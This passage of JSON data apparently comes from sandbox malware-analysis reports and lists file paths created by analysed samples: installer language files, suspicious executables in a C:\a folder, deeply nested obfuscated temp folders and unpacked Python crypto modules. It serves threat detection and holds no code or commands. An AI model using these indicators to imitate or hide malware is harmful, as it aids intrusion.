es":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1JP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licJP.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1HU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licHU.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1EE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licEE.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1CZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licCZ.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1GR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licGR.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licBY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1BY.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1MK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licMK.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu6Text2CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu7Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu1Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\UnistallMenu3Text1CA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\licCA.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu1Text1ID.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu2Text1ID.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text1ID.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu3Text2ID.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\_ir_sf_temp_0\\Menu5Text1ID.html","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\tmpFB41.tmp","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\$inst\\2.tmp","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%TEMP%\\$inst\\temp_0.tmp","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%PROGRAMFILES%\\(x86)\\Company\\NewProduct\\Setup.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%PROGRAMFILES%\\(x86)\\Company\\NewProduct\\Uninstall.exe","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%PROGRAMFILES%\\(x86)\\Company\\NewProduct\\Uninstall.ini","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"path":"%SAMPLEDIR%\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\spfasiazx.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\build3.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\alex.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\wlanext.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\Creal.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\buildz.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\Kolodi.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\%E6%B9%96%E5%8D%97%E7%81%AB%E9%BE%99[132HF].exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\voice5.13sert.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\somzx.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\plugmanzx.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"C:\\a\\lve5.exe","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\spfasiazx.exe.log","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\alex.exe.log","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\nst9925.tmp","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\nsy9945.tmp","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%SAMPLEDIR%\\Users","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Coof.Lgn","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Recife\\Opfindendes\\Perlemoret\\Servitudes\\Margarines.Pos","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Recife\\Opfindendes\\Perlemoret\\Servitudes\\Poll.sti","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Recife\\Opfindendes\\Perlemoret\\Servitudes\\Singlet.ret","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Ddsannoncerne\\Sminkekrukkens236.brt","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Ddsannoncerne\\bullwort.int","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Ddsannoncerne\\mandolin.txt","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Aagenes\\Rorschachprves\\Tandhvalernes183\\peasantlike.sel","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Aagenes\\Rorschachprves\\Tandhvalernes183\\roastable.tja","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\daemonisk\\prvelsens\\noneclectically\\Memorda26\\Fluorometric\\Udvlgningers\\arbejdsfelterne\\symbolize.sva","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%TEMP%\\KLIMPRERIS124\\FIKTION.INI","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\Kolodi.exe.log","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_ARC4.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_Salsa20.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_chacha20.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_pkcs1_decode.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_aes.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_aesni.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_arc2.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_blowfish.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_cast.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_cbc.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_cfb.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_ctr.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_des.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_des3.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_ecb.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_eksblowfish.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_ocb.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Cipher\\_raw_ofb.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_BLAKE2b.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_BLAKE2s.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_MD2.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_MD4.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_MD5.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_RIPEMD160.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_SHA1.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_SHA224.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_SHA256.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_SHA384.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_SHA512.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_ghash_clmul.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_ghash_portable.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_keccak.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Hash\\_poly1305.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Math\\_modexp.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Protocol\\_scrypt.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\PublicKey\\_ec_ws.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\PublicKey\\_ed25519.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\PublicKey\\_ed448.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\PublicKey\\_x25519.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Util\\_cpuid_c.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\Cryptodome\\Util\\_strxor.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\PIL\\_imaging.cp311-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\PIL\\_imagingcms.cp311-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"path":"%TEMP%\\_MEI80442\\PIL\\_imagingtk.cp311-win_amd64.pyd